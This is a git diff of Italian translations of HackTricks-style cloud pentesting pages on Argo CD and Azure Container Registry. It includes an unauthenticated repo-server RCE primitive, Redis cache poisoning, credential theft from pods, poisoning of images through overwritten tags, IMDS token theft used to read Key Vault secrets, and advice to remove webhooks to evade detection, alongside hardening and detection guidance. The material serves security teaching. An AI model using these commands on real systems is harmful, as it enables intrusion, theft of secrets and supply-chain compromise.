solito puoi influenzare ciò che viene deployato. L'impatto dipende dai limiti di `AppProject` e dai permessi del service account utilizzato dall'application controller. Posizioni comuni dei payload: -- Raw Kubernetes YAML sotto un path dell'application. -- Template Helm chart e `values.yaml`. -- Kustomize overlays, remote bases e generator. -- Input di Jsonnet o config management plugin. -- File generator di ApplicationSet che creano o aggiornano oggetti `Application`. +- YAML Kubernetes grezzo all'interno del percorso di un'applicazione. +- Template di Helm chart e `values.yaml`. +- Overlay Kustomize, remote base e generator. +- Input di Jsonnet o del config management plugin. +- File del generator di ApplicationSet che creano o aggiornano oggetti `Application`. -Controlla se l'app usa automated sync, pruning, self-heal, sync windows o approvazioni manuali: +Verifica se l'app utilizza automated sync, pruning, self-heal, sync windows o approvazioni manuali: ```bash kubectl get applications.argoproj.io -A \ -o custom-columns='NS:.metadata.namespace,APP:.metadata.name,PROJECT:.spec.project,AUTOSYNC:.spec.syncPolicy.automated,REPO:.spec.source.repoURL,PATH:.spec.source.path,DEST:.spec.destination.server' ``` ## Abuso diretto di `argocd-repo-server` -Non assumere che la API pubblica di Argo CD sia l'unica attack surface. I componenti interni di Argo CD comunicano con `argocd-repo-server` tramite gRPC. Se pod arbitrari possono raggiungere repo-server, richieste interne controllate dall'attacker possono bypassare i controlli normalmente applicati da `argocd-server`. +Non dare per scontato che l'API pubblica di Argo CD sia l'unica attack surface. I componenti interni di Argo CD comunicano con `argocd-repo-server` tramite gRPC. Se pod arbitrari possono raggiungere repo-server, richieste interne controllate dall'attaccante possono bypassare i controlli normalmente applicati da `argocd-server`. Controlli pratici: ```bash @@ -94,20 +94,20 @@ nc -vz 8081 ``` Segnali interessanti: -- L'endpoint gRPC di repo-server è raggiungibile da pod non-Argo CD. -- I NetworkPolicies mancano o consentono solo egress in allow-list senza negare ingress. -- repo-server ha accesso a custom config management plugins, strumenti di decryption o content del repository da più tenant. -- Redis è raggiungibile da pod non-Argo CD, consentendo l'ispezione o la manipolazione della cache se le credenziali sono disponibili o non richieste. +- L'endpoint gRPC di repo-server è raggiungibile da pod non appartenenti ad Argo CD. +- Le NetworkPolicies sono assenti o consentono solo l'egress tramite allow-list senza negare l'ingress. +- repo-server ha accesso a custom config management plugins, strumenti di decryption o contenuti di repository appartenenti a più tenant. +- Redis è raggiungibile da pod non appartenenti ad Argo CD, consentendo l'ispezione o la manomissione della cache se le credenziali sono disponibili o non sono richieste. -## Unauthenticated Repo-Server RCE via Kustomize Options +## RCE non autenticata di repo-server tramite Kustomize Options -Nel luglio 2026, Synacktiv ha divulgato una catena di code execution non autenticata in `repo-server` di Argo CD quando un attacker può raggiungere il servizio gRPC interno. L'attacco sfrutta l'accesso diretto a `/repository.RepoServerService/GenerateManifest` e `KustomizeOptions` controllati dall'attacker. +A luglio 2026, Synacktiv ha divulgato una catena di code execution non autenticata in `repo-server` di Argo CD, quando un attaccante può raggiungere il servizio gRPC interno. L'attacco sfrutta l'accesso diretto a `/repository.RepoServerService/GenerateManifest` e `KustomizeOptions` controllati dall'attaccante. -La primitive pericolosa consiste nel forzare repo-server a clonare content del repository controllato dall'attacker ed eseguire Kustomize con supporto Helm: +La primitiva pericolosa consiste nel costringere repo-server a clonare contenuti di repository controllati dall'attaccante ed eseguire Kustomize con il supporto a Helm: ```bash kustomize build --enable-helm --helm-command ./payload.sh ``` -Input Kustomize malevolo minimo necessario per attivare l'elaborazione Helm: +Input Kustomize malevolo minimo necessario per attivare l'elaborazione di Helm: ```yaml helmCharts: - name: pwn @@ -116,16 +116,16 @@ version: 0.0.1 Perché funziona: - `argocd-repo-server` clona il repository prima del rendering. -- `--helm-command ./payload.sh` viene risolto in modo relativo al repository clonato. -- L'esecuzione di codice non richiede injection di metacaratteri della shell se l'attaccante può controllare il repository renderizzato e le opzioni di build di Kustomize. +- `--helm-command ./payload.sh` viene risolto in relazione al repository clonato. +- L'esecuzione di codice non richiede l'iniezione di metacaratteri della shell se l'attaccante può controllare il repository sottoposto a rendering e le opzioni di build di Kustomize. -Al momento della disclosure di Synacktiv del 1 luglio 2026, è stato segnalato che il problema non aveva un fix ufficiale né un CVE. Consideralo prima di tutto un problema di network-exposure: lo sfruttamento richiede raggiungibilità verso la porta gRPC interna di repo-server. +Al momento della disclosure di Synacktiv del 1° luglio 2026, è stato riportato che il problema non aveva alcuna correzione ufficiale né un CVE. Consideralo innanzitutto un problema di esposizione di rete: lo sfruttamento richiede la raggiungibilità della porta gRPC interna di `repo-server`. -## Redis Cache Poisoning to Deploy Manifests +## Redis Cache Poisoning per il Deploy dei Manifest -Dopo l'esecuzione di codice in `argocd-repo-server`, oppure dopo accesso diretto a Redis con credenziali valide, ispeziona le entry della cache supportate da Redis. Argo CD in genere memorizza valori JSON compressi con gzip. +Dopo l'esecuzione di codice in `argocd-repo-server`, oppure dopo l'accesso diretto a Redis con credenziali valide, esamina le voci della cache gestite da Redis. Argo CD memorizza comunemente valori JSON compressi con gzip. -Prefissi di chiavi interessanti: +Prefissi delle chiavi interessanti: ```text mfst|... # cached rendered manifests git-refs|... # Git branch/ref to commit mappings @@ -134,35 +134,35 @@ cluster|... # cluster cache information ``` L'attacco di cache poisoning descritto da Synacktiv sfrutta due elementi di stato: -1. Modificare la voce di cache del manifest `mfst|...` pertinente per includere un manifest Kubernetes controllato dall'attaccante. -2. Modificare il mapping `git-refs|...` correlato in modo che Argo CD creda che il branch sia stato spostato e poi riconcili di nuovo verso la revisione in cache. +1. Modificare la voce pertinente della cache del manifest `mfst|...` per includere un manifest Kubernetes controllato dall'attaccante. +2. Modificare la mappatura correlata `git-refs|...` in modo che Argo CD ritenga che il branch sia cambiato e quindi esegua nuovamente la riconciliazione sulla revisione memorizzata nella cache. Impatto: -- Con Auto Sync abilitato, Argo CD può applicare automaticamente il manifest in cache avvelenato. -- Senza Auto Sync, il payload può comunque essere applicato quando un utente sincronizza manualmente l'applicazione. -- L'impatto finale è limitato dalla destination dell'applicazione target e dai permessi Kubernetes disponibili ad Argo CD. +- Con Auto Sync abilitato, Argo CD potrebbe applicare automaticamente il manifest avvelenato nella cache. +- Senza Auto Sync, il payload potrebbe comunque essere applicato quando un utente sincronizza manualmente l'application. +- L'impatto finale è limitato dalla destinazione dell'application target e dai permessi Kubernetes disponibili per Argo CD. -## ApplicationSet Attacks +## Attacchi ApplicationSet ApplicationSet è particolarmente sensibile perché crea o aggiorna oggetti `Application` a partire dall'output del generator. -Review: +Revisione: ```bash kubectl get applicationsets.argoproj.io -A -o yaml kubectl get appprojects.argoproj.io -A -o yaml ``` -Pattern interessanti: +Interesting patterns: -- I generatori git leggono file scrivibili dall'attaccante che controllano app names, paths, projects o destinations. -- I generatori pull request per repository pubblici in cui contributor non trusted possono influenzare le generated applications. -- I campi template che consentono broad destination clusters/namespaces. +- Git generators che leggono file scrivibili dall'attacker che controllano app names, paths, projects o destinations. +- Pull request generators per repository pubblici in cui contributor non attendibili possono influenzare le generated applications. +- Template fields che consentono broad destination clusters/namespaces. - AppProjects che permettono `sourceRepos: ["*"]` o broad `destinations`. - Generated applications che ereditano automated sync e pruning. ## Post-Exploitation -Da una shell del pod Argo CD, dai priorità a: +Da una shell del pod di Argo CD, dare priorità a: ```bash env cat /proc/1/environ 2>/dev/null | tr '\0' '\n' @@ -171,49 +171,50 @@ mount | grep -E 'secret|token|config' ``` Obiettivi utili: -- Rubare `REDIS_PASSWORD` o materiale Redis TLS/client. -- Estrarre credenziali del repository da secrets montati o Argo CD Kubernetes secrets. -- Identificare le credenziali del cluster usate da Argo CD. -- Leggere generated manifests e l'output dei plugin che possono includere secrets iniettati. -- Verificare se custom plugins, SOPS, Helm secrets, Vault plugins o cloud CLIs espongono decryption keys e cloud credentials. +- Rubare `REDIS_PASSWORD` o il materiale TLS/client di Redis. +- Estrarre le credenziali dei repository dai secrets montati o dai secrets Kubernetes di Argo CD. +- Identificare le credenziali del cluster utilizzate da Argo CD. +- Leggere i manifest generati e l'output dei plugin che potrebbero includere secrets iniettati. +- Verificare se plugin personalizzati, SOPS, Helm secrets, plugin Vault o cloud CLIs espongono chiavi di decrittazione e credenziali cloud. -## Detection & Hardening +## Rilevamento e hardening Controlli importanti: -- Limita la porta **8081** di `argocd-repo-server` e la porta **6379** di Redis con NetworkPolicies in modo che solo i componenti Argo CD previsti possano raggiungerli. -- Nelle distribuzioni Helm, verifica che le network policies vengano effettivamente create. I valori dell'Argo CD Helm chart hanno storicamente impostato la creazione delle network policy dei componenti su disabled. -- Mantieni `argocd-server` come punto di ingresso autenticato. I servizi interni non dovrebbero essere raggiungibili da workload arbitrari. -- Disabilita gli strumenti e i plugin di config management non usati. -- Limita `AppProject` `sourceRepos`, `destinations`, namespace permissions e cluster-scoped resources. -- Evita di archiviare repository credentials ampie che un utente Argo CD a basso privilegio possa far riutilizzare. -- Monitora le richieste al repo-server, le Kustomize build options, le esecuzioni dei plugin, le scritture Redis e accessi inattesi alle chiavi `mfst|` / `git-refs|`. -- Ruota gli utenti locali Argo CD, i project tokens, le repository credentials e le cluster credentials dopo una compromissione. +- Limitare la porta **8081** di `argocd-repo-server` e la porta Redis **6379** con NetworkPolicies, in modo che solo i componenti Argo CD previsti possano raggiungerle. +- Nelle implementazioni Helm, verificare che le network policies vengano effettivamente create. I valori dell'Helm chart di Argo CD hanno storicamente impostato per impostazione predefinita la creazione delle network policy dei componenti su disabled. +- Mantenere `argocd-server` come entry point autenticato. I servizi interni non dovrebbero essere raggiungibili da workload arbitrari. +- Disabilitare gli strumenti di config management e i plugin inutilizzati. +- Limitare `sourceRepos`, `destinations`, i permessi sui namespace e le risorse cluster-scoped di `AppProject`. +- Evitare di memorizzare credenziali ampie dei repository in posizioni dove un utente Argo CD con privilegi ridotti possa causarne il riutilizzo. +- Monitorare le richieste al repo-server, le opzioni di build di Kustomize, le esecuzioni dei plugin, le scritture su Redis e gli accessi imprevisti alle chiavi `mfst|` / `git-refs|`. +- Ruotare gli utenti locali Argo CD, i token dei progetti, le credenziali dei repository e le credenziali dei cluster dopo una compromissione. -Useful commands: +Comandi utili: ```bash kubectl get networkpolicy -n argocd kubectl get networkpolicy -A | grep -i argocd kubectl describe networkpolicy -n argocd argocd-repo-server-network-policy 2>/dev/null kubectl describe networkpolicy -n argocd argocd-redis-network-policy 2>/dev/null ``` -## Nota di Static Analysis: Typed API Requests in CodeQL +## Nota sull'analisi statica: richieste API tipizzate in CodeQL -Per i servizi Go che usano handler gRPC/REST, i default CodeQL remote sources possono perdere i flussi una volta che l’input grezzo è stato unmarshaled in typed request objects. Un modello utile per i servizi in stile Argo CD è: +Per i servizi Go che utilizzano handler gRPC/REST, le remote sources predefinite di CodeQL potrebbero non rilevare i flussi una volta che l'input grezzo è stato unmarshaled in oggetti di richiesta tipizzati. Un modello utile per i servizi in stile Argo CD è: -- Receiver type come `Server` o `Service`. +- Tipo receiver come `Server` o `Service`. - Il primo parametro è `context.Context`. -- Il secondo parametro è un typed request object. +- Il secondo parametro è un oggetto di richiesta tipizzato. -Modella quel secondo parametro come remote source e aggiungi custom sinks per gli argomenti di `exec.Command` / `exec.CommandContext`. Questo aiuta a trovare flussi dai campi delle internal API request verso i command execution helpers. +Modellate il secondo parametro come remote source e aggiungete custom sinks per gli argomenti di `exec.Command` / `exec.CommandContext`. Questo aiuta a individuare i flussi dai campi delle richieste API interne agli helper di esecuzione dei comandi. -## References +## Riferimenti - [Synacktiv - Caught in the Octopus Trap: Unauthenticated RCE in Argo CD with CodeQL](https://www.synacktiv.com/en/publications/caught-in-the-octopus-trap-unauthenticated-rce-in-argo-cd-with-codeql) -- [Argo CD docs - Security considerations](https://argo-cd.readthedocs.io/en/stable/operator-manual/security/) -- [Argo CD docs - High Availability](https://argo-cd.readthedocs.io/en/stable/operator-manual/high_availability/) -- [Argo CD docs - repo-server command reference](https://argo-cd.readthedocs.io/en/stable/operator-manual/server-commands/argocd-repo-server/) -- [Argo CD - repo-server NetworkPolicy manifest](https://github.com/argoproj/argo-cd/blob/master/manifests/base/repo-server/argocd-repo-server-network-policy.yaml) -- [Argo CD docs - metrics](https://argo-cd.readthedocs.io/en/latest/operator-manual/metrics/) -- [Argo Helm - chart values reference](https://github.com/argoproj/argo-helm/blob/main/charts/argo-cd/README.md) -- [Kustomize - Helm chart generator example](https://github.com/kubernetes-sigs/kustomize/blob/master/examples/chart.md) +- [Documentazione di Argo CD - Considerazioni sulla sicurezza](https://argo-cd.readthedocs.io/en/stable/operator-manual/security/) +- [Documentazione di Argo CD - High Availability](https://argo-cd.readthedocs.io/en/stable/operator-manual/high_availability/) +- [Documentazione di Argo CD - Riferimento ai comandi di repo-server](https://argo-cd.readthedocs.io/en/stable/operator-manual/server-commands/argocd-repo-server/) +- [Argo CD - Manifest NetworkPolicy di repo-server](https://github.com/argoproj/argo-cd/blob/master/manifests/base/repo-server/argocd-repo-server-network-policy.yaml) +- [Documentazione di Argo CD - metriche](https://argo-cd.readthedocs.io/en/latest/operator-manual/metrics/) +- [Argo Helm - riferimento ai valori del chart](https://github.com/argoproj/argo-helm/blob/main/charts/argo-cd/README.md) +- [Kustomize - esempio di generatore di chart Helm](https://github.com/kubernetes-sigs/kustomize/blob/master/examples/chart.md) +{{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/README.md b/src/pentesting-cloud/azure-security/az-post-exploitation/README.md index 52b7c1b91..ed71bf4d6 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/README.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/README.md @@ -6,4 +6,8 @@ az-azure-ai-foundry-post-exploitation.md {{#endref}} +{{#ref}} +az-container-registry-post-exploitation.md +{{#endref}} + {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-container-registry-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-container-registry-post-exploitation.md new file mode 100644 index 000000000..1a3f7c6df --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-container-registry-post-exploitation.md @@ -0,0 +1,87 @@ +# Az - Container Registry Post Exploitation + +{{#include ../../../banners/hacktricks-training.md}} + +## Azure Container Registry + +Per ulteriori informazioni su questo servizio, consulta: + +{{#ref}} +../az-services/az-container-registry.md +{{#endref}} + +### `Microsoft.ContainerRegistry/registries/listCredentials/action`, `Microsoft.ContainerRegistry/registries/write` + +Un'identità con accesso al management plane di ACR può trasformare tale accesso in **credenziali Docker riutilizzabili**. Se l'**admin user** è disabilitato, ma il principal dispone anche di `registries/write`, abilitalo, recupera le password ed esegui l'autenticazione direttamente su `.azurecr.io`. +```bash +az acr show --resource-group --name --query adminUserEnabled +az acr update --resource-group --name --admin-enabled true +az acr credential show -n +docker login .azurecr.io -u -p +``` +Questo è utile perché le credenziali recuperate possono essere riutilizzate al di fuori di Azure CLI per **list, pull, push, overwrite e talvolta delete** dei contenuti del registry, finché l'account admin non viene disabilitato o le password non vengono ruotate. + +### `Microsoft.ContainerRegistry/registries/pull/read` + +Usa l'accesso pull per la **ricognizione dei repository** e la **ricerca di secret** all'interno delle immagini. Esamina sia la configurazione finale del container sia i layer storici del filesystem, perché i file copiati in un layer possono rimanere recuperabili anche se vengono eliminati successivamente. +```bash +az acr repository list -n +az acr repository show-tags -n --repository --detail +docker pull .azurecr.io/: + +container_id=$(docker create .azurecr.io/:) +docker cp "$container_id":/ ./extracted_container +docker rm "$container_id" +docker inspect .azurecr.io/: | jq -r '.[0].Config.Env[]?' +dive .azurecr.io/: +``` +Gli obiettivi di alto valore includono **variabili d'ambiente**, **configurazioni applicative**, **script di deployment**, **certificati**, **token di accesso** e **stringhe di connessione**. Per ulteriori idee durante la revisione dei layer, consulta la pagina Docker forensics: + +{{#ref}} +https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html +{{#endref}} + +### `Microsoft.ContainerRegistry/registries/push/write` + +L'accesso push consente a un attacker di **avvelenare repository attendibili** o **sovrascrivere tag mutabili** come `latest`, `prod` o `stable`. Qualsiasi workload che esegue ancora il deployment tramite tag anziché digest potrebbe effettuare il pull dell'immagine dell'attacker durante il deployment successivo, un evento di scale-out o un riavvio. +```bash +# Retag an existing local image for the target ACR + +docker tag : .azurecr.io/: +docker push .azurecr.io/: + +# If your workstation architecture differs from the target runtime, build for the consumer platform first + +docker buildx build --platform linux/amd64 -t .azurecr.io/: --load . +docker push .azurecr.io/: +``` +Prima di sostituire un tag, verifica quali repository e tag vengono effettivamente utilizzati dai workload downstream. I consumer **digest-pinned** (`@sha256:...`) sono molto più difficili da reindirizzare rispetto ai consumer basati sui tag. + +### `Microsoft.ContainerRegistry/registries/push/write`, `Microsoft.ContainerInstance/containerGroups/restart/action` + +Se puoi sia **sostituire l'image** utilizzata da un workload container downstream sia **riavviare** quel workload, l'entrypoint malevolo viene eseguito all'interno del **contesto di rete e managed identity** del container target. Da lì, l'image può richiedere token a IMDS e accedere alle risorse Azure raggiungibili dall'identità del workload. +```bash +TOKEN=$(curl -s -H Metadata:true 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://vault.azure.net' | jq -r .access_token) +curl -H "Authorization: Bearer $TOKEN" \ +'https://.vault.azure.net/secrets/?api-version=7.4' +az container restart --resource-group --name +``` +Questo trasforma un overwrite di un tag ACR in **esecuzione di codice**, **furto di secret** o **movimento laterale** all'interno di qualsiasi container consumer che si fidi del tag modificato ed esponga un'identità utile. + +### Percorso privesc correlato: ACR Tasks managed identities + +Se disponi anche di `Microsoft.ContainerRegistry/registries/tasks/write` e `Microsoft.ContainerRegistry/registries/runs/write`, passa al percorso di privesc ACR e abusa direttamente della managed identity del task: + +{{#ref}} +../az-privilege-escalation/az-container-registry-privesc.md +{{#endref}} + +## Riferimenti + +- [TrustedSec - Pandora's Container Part 1: Unpacking Azure Container Security](https://trustedsec.com/blog/pandoras-container-part-1-unpacking-azure-container-security) +- [Microsoft Learn - Azure Container Registry authentication](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-authentication) +- [Microsoft Learn - az acr credential](https://learn.microsoft.com/en-us/cli/azure/acr/credential?view=azure-cli-latest) +- [Microsoft Learn - az acr repository](https://learn.microsoft.com/en-us/cli/azure/acr/repository?view=azure-cli-latest) +- [Microsoft Learn - ACR Tasks YAML reference](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-tasks-reference-yaml) + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-services/az-container-registry.md b/src/pentesting-cloud/azure-security/az-services/az-container-registry.md index d214050fa..f57d576df 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-container-registry.md +++ b/src/pentesting-cloud/azure-security/az-services/az-container-registry.md @@ -2,39 +2,39 @@ {{#include ../../../banners/hacktricks-training.md}} -## Basic Information +## Informazioni di base -Azure Container Registry (ACR) è un registry privato e sicuro che ti consente di **archiviare, gestire e accedere alle container images nel cloud Azure**. Si integra perfettamente con diversi servizi Azure, fornendo workflow automatizzati di build e deployment su larga scala. Con funzionalità come geo-replication e vulnerability scanning, ACR aiuta a garantire sicurezza e compliance di livello enterprise per le applicazioni containerizzate. +Azure Container Registry (ACR) è un registry privato e sicuro che consente di **archiviare, gestire e accedere alle immagini dei container nel cloud Azure**. Si integra perfettamente con diversi servizi Azure, fornendo workflow automatizzati di build e deployment su larga scala. Grazie a funzionalità come la geo-replication e la vulnerability scanning, ACR contribuisce a garantire sicurezza e conformità di livello enterprise per le applicazioni containerizzate. -### Permissions +### Permessi -Questi sono i **diversi permessi** [secondo la documentazione](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager) che possono essere assegnati su un Container Registry: +Questi sono i **diversi permessi** [secondo la documentazione](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager) che possono essere concessi su un Container Registry: -- Access Resource Manager -- Create/delete registry -- Push image -- Pull image -- Delete image data -- Change policies -- Sign images +- Accesso a Resource Manager +- Creazione/eliminazione del registry +- Push delle immagini +- Pull delle immagini +- Eliminazione dei dati delle immagini +- Modifica delle policy +- Firma delle immagini -Ci sono anche alcuni **built-in roles** che possono essere assegnati, ed è anche possibile creare **custom roles**. +Sono inoltre disponibili alcuni **ruoli integrati** che possono essere assegnati ed è anche possibile creare **ruoli personalizzati**. -![Azure Container Registry built-in roles permissions matrix for managing registry, image, data, policies, and signing actions](/images/registry_roles.png) +![Matrice dei permessi dei ruoli integrati di Azure Container Registry per la gestione di registry, immagini, dati, policy e operazioni di firma](/images/registry_roles.png) -### Authentication +### Autenticazione > [!WARNING] -> È molto imporatante che anche se il nome del registry contiene alcune lettere maiuscole, devi sempre usare **lettere minuscole** per fare login, push e pull delle images. +> È molto importante che, anche se il nome del registry contiene lettere maiuscole, si utilizzino sempre **lettere minuscole** per eseguire il login, il push e il pull delle immagini. -Ci sono 4 modi per autenticarsi a un ACR: +Esistono 4 modi per autenticarsi a un ACR: -- **Con Entra ID**: È il modo **default** per autenticarsi a un ACR. Usa il comando **`az acr login`** per autenticarsi all'ACR. Questo comando **salverà le credenziali** nel file **`~/.docker/config.json`**. Inoltre, se esegui questo comando da un ambiente senza accesso a un docker socket come in una **cloud shell**, è possibile usare il flag **`--expose-token`** per ottenere il **token** per autenticarsi all'ACR. Poi, per autenticarti, devi usare come nome utente `00000000-0000-0000-0000-000000000000` ad esempio: `docker login myregistry.azurecr.io --username 00000000-0000-0000-0000-000000000000 --password-stdin <<< $TOKEN` -- **Con un admin account**: L'admin user è disabilitato per default, ma può essere abilitato e poi sarà possibile accedere al registry con **username** e **password** dell'admin account con permessi completi sul registry. È ancora supportato perché alcuni servizi Azure lo usano. Nota che vengono create **2 passwords** per questo utente ed entrambe sono valide. Puoi abilitarlo con `az acr update -n --admin-enabled true`. Nota che lo username è di solito il nome del registry (e non `admin`). -- **Con un token**: È possibile creare un **token** con uno specifico **`scope map`** (permessi) per accedere al registry. Poi, è possibile usare il nome del token come username e una qualsiasi delle password generate per autenticarsi al registry con `docker login -u -p ` -- **Con un Service Principal**: È possibile creare un **service principal** e assegnare un ruolo come **`AcrPull`** per fare pull delle images. Poi, sarà possibile **login to the registry** usando l'appId dello SP come username e un secret generato come password. +- **Con Entra ID**: questo è il modo **predefinito** per autenticarsi a un ACR. Utilizza il comando **`az acr login`** per autenticarsi all'ACR. Questo comando **salverà le credenziali** nel file **`~/.docker/config.json`**. Inoltre, se si esegue questo comando da un ambiente senza accesso a un socket Docker, come una **cloud shell**, è possibile utilizzare il flag **`--expose-token`** per ottenere il **token** da utilizzare per autenticarsi all'ACR. Per autenticarsi è quindi necessario utilizzare come nome utente `00000000-0000-0000-0000-000000000000`, come segue: `docker login myregistry.azurecr.io --username 00000000-0000-0000-0000-000000000000 --password-stdin <<< $TOKEN` +- **Con un account amministratore**: l'utente amministratore è disabilitato per impostazione predefinita, ma può essere abilitato; sarà quindi possibile accedere al registry con lo **username** e la **password** dell'account amministratore, con permessi completi sul registry. Questa modalità è ancora supportata perché alcuni servizi Azure la utilizzano. Si noti che per questo utente vengono create **2 password**, entrambe valide. È possibile abilitarla con `az acr update -n --admin-enabled true`. Si noti che lo username è solitamente il nome del registry (e non `admin`). +- **Con un token**: è possibile creare un **token** con una **scope map** (permessi) specifica per accedere al registry. È quindi possibile utilizzare il nome del token come username e una delle password generate per autenticarsi al registry con `docker login -u -p ` +- **Con un Service Principal**: è possibile creare un **Service Principal** e assegnargli un ruolo come **`AcrPull`** per eseguire il pull delle immagini. Sarà quindi possibile **eseguire il login al registry** utilizzando l'appId della SP come username e un secret generato come password. -Example script from the [docs](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-auth-service-principal) to generate a SP with access over a registry: +Script di esempio dalla [documentazione](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-auth-service-principal) per generare una SP con accesso a un registry: ```bash #!/bin/bash ACR_NAME=$containerRegistry @@ -49,41 +49,41 @@ USER_NAME=$(az ad sp list --display-name $SERVICE_PRINCIPAL_NAME --query "[].app echo "Service principal ID: $USER_NAME" echo "Service principal password: $PASSWORD" ``` -### Encryption +### Cifratura -Solo lo **Premium SKU** supporta la **crittografia at rest** per le immagini e altri artifact. +Solo lo **SKU Premium** supporta la **cifratura at rest** per le immagini e gli altri artifact. ### Networking -Solo lo **Premium SKU** supporta i **private endpoints**. Gli altri supportano solo **public access**. Un public endpoint ha il formato `.azurecr.io` e un private endpoint ha il formato `.privatelink.azurecr.io`. Per questo motivo, il nome del registry deve essere univoco in tutto Azure. +Solo lo **SKU Premium** supporta gli **endpoint privati**. Gli altri supportano esclusivamente l'**accesso pubblico**. Un endpoint pubblico ha il formato `.azurecr.io`, mentre un endpoint privato ha il formato `.privatelink.azurecr.io`. Per questo motivo, il nome del registry deve essere univoco in tutto Azure. ### Microsoft Defender for Cloud -Questo ti permette di **scansionare le immagini** nel registry alla ricerca di **vulnerabilities**. +Consente di **scansionare le immagini** nel registry alla ricerca di **vulnerabilità**. ### Soft-delete -La funzionalità **soft-delete** ti permette di **recuperare un registry eliminato** entro il numero di giorni indicato. Questa funzionalità è **disabilitata di default**. +La funzionalità **soft-delete** consente di **recuperare un registry eliminato** entro il numero di giorni indicato. Questa funzionalità è **disabilitata per impostazione predefinita**. ### Webhooks -È possibile **creare webhooks** all'interno dei registry. In questo webhook è necessario specificare l'URL a cui verrà inviata una **request ogni volta che viene eseguita un'azione di push o delete**. Inoltre, i Webhooks possono indicare uno scope per specificare i repository (images) che saranno interessati. Per esempio, 'foo:\*' significa eventi nel repository 'foo'. +È possibile **creare webhook** all'interno dei registry. In questo webhook è necessario specificare l'URL al quale verrà **inviata una request ogni volta che viene eseguita un'azione di push o delete**. Inoltre, i webhook possono indicare uno scope per specificare i repository (immagini) interessati. Ad esempio, `foo:*` indica gli eventi nel repository `foo`. -Dal punto di vista di un attacker, è interessante controllare questo **prima di eseguire qualsiasi azione** nel registry, e rimuoverlo temporaneamente se necessario, per evitare di essere rilevati. +Dal punto di vista di un attacker, è interessante verificare questo aspetto **prima di eseguire qualsiasi azione** nel registry e rimuoverlo temporaneamente, se necessario, per evitare di essere rilevati. ### Connected registries -Questo, in sostanza, permette di **mirror the images** da un registry a un altro, solitamente situato on-premises. +Questo consente essenzialmente di **creare un mirror delle immagini** da un registry a un altro, generalmente situato on-premises. -Ha 2 modalità: **ReadOnly** e **ReadWrite**. Nella prima, le immagini vengono solo **pulled** dal source registry, e nella seconda, le immagini possono anche essere **pushed** al source registry. +Dispone di 2 modalità: **ReadOnly** e **ReadWrite**. Nella prima, le immagini vengono solo **pulled** dal registry sorgente, mentre nella seconda le immagini possono anche essere **pushed** nel registry sorgente. -Per consentire ai client di accedere al registry da Azure, viene generato un **token** quando viene usato il connected registry. +Affinché i client possano accedere al registry da Azure, viene generato un **token** quando viene utilizzato il connected registry. ### Runs & Tasks -Runs & Tasks permette di eseguire in Azure azioni relative ai container che normalmente avresti dovuto fare in locale o in una pipeline CI/CD. Per esempio, puoi **build, push, and run images in the registry**. +Runs & Tasks consente di eseguire in Azure azioni relative ai container che normalmente sarebbe necessario eseguire localmente o in una pipeline CI/CD. Ad esempio, è possibile **buildare, fare push ed eseguire immagini nel registry**. -Il modo più semplice per build e run un container è usare un Run normale: +Il modo più semplice per buildare ed eseguire un container consiste nell'utilizzare un Run standard: ```bash # Build echo "FROM mcr.microsoft.com/hello-world" > Dockerfile @@ -92,20 +92,20 @@ az acr build --image sample/hello-world:v1 --registry mycontainerregistry008 --f # Run az acr run --registry mycontainerregistry008 --cmd '$Registry/sample/hello-world:v1' /dev/null ``` -Tuttavia, ciò attiverà runs che non sono molto interessanti dal punto di vista di un attacker perché non hanno alcuna managed identity associata. +Tuttavia, questo attiverà esecuzioni che non sono particolarmente interessanti dal punto di vista di un attacker, perché non hanno alcuna managed identity associata. -Tuttavia, i **tasks** possono avere una **system e user managed identity** associata. Questi tasks sono quelli utili per **escalare privilegi** nel container. Nella sezione di privilege escalation è possibile vedere come usare i tasks per escalare privilegi. +Tuttavia, i **tasks** possono avere una **system and user managed identity** associata. Questi sono i tasks utili per **escalate privileges** nel container. Nella sezione sull'escalation dei privilegi è possibile vedere come utilizzare i tasks per effettuare l'escalation dei privilegi. ### Cache -La funzionalità cache consente di **scaricare immagini da un external repository** e memorizzare le nuove versioni nel registry. Richiede di avere alcune **credentials configurate** selezionando le credentials da un Azure Vault. +La funzionalità Cache consente di **scaricare immagini da un repository esterno** e archiviare le nuove versioni nel registry. È necessario disporre di alcune **credenziali configurate**, selezionando le credenziali da un Azure Vault. -Questo è molto interessante dal punto di vista di un attacker perché consente di **pivot to an external platform** se l'attacker ha abbastanza permissions per accedere alle credentials, **scaricare immagini da un external repository** e configurare una cache potrebbe anche essere usato come **persistence mechanism**. +Questo è molto interessante dal punto di vista di un attacker, perché consente di **effettuare il pivot verso una piattaforma esterna** se l'attacker dispone di autorizzazioni sufficienti per accedere alle credenziali. **Scaricare immagini da un repository esterno** e configurare una cache potrebbe inoltre essere utilizzato come **meccanismo di persistenza**. -## Enumeration +## Enumerazione > [!WARNING] -> È molto importante che, anche se il nome del registry contiene alcune lettere maiuscole, per accedervi devi usare solo lettere minuscole nell'url. +> È molto importante che, anche se il nome del registry contiene alcune lettere maiuscole, nell'URL utilizzato per accedervi si usino solo lettere minuscole. ```bash # List of all the registries # Check the network, managed identities, adminUserEnabled, softDeletePolicy, url... @@ -149,13 +149,17 @@ az acr cache show --name --registry ../az-unauthenticated-enum-and-initial-entry/az-container-registry-unauth.md {{#endref}} -## Privilege Escalation & Post Exploitation +## Escalation dei privilegi e Post Exploitation {{#ref}} ../az-privilege-escalation/az-container-registry-privesc.md {{#endref}} -## References +{{#ref}} 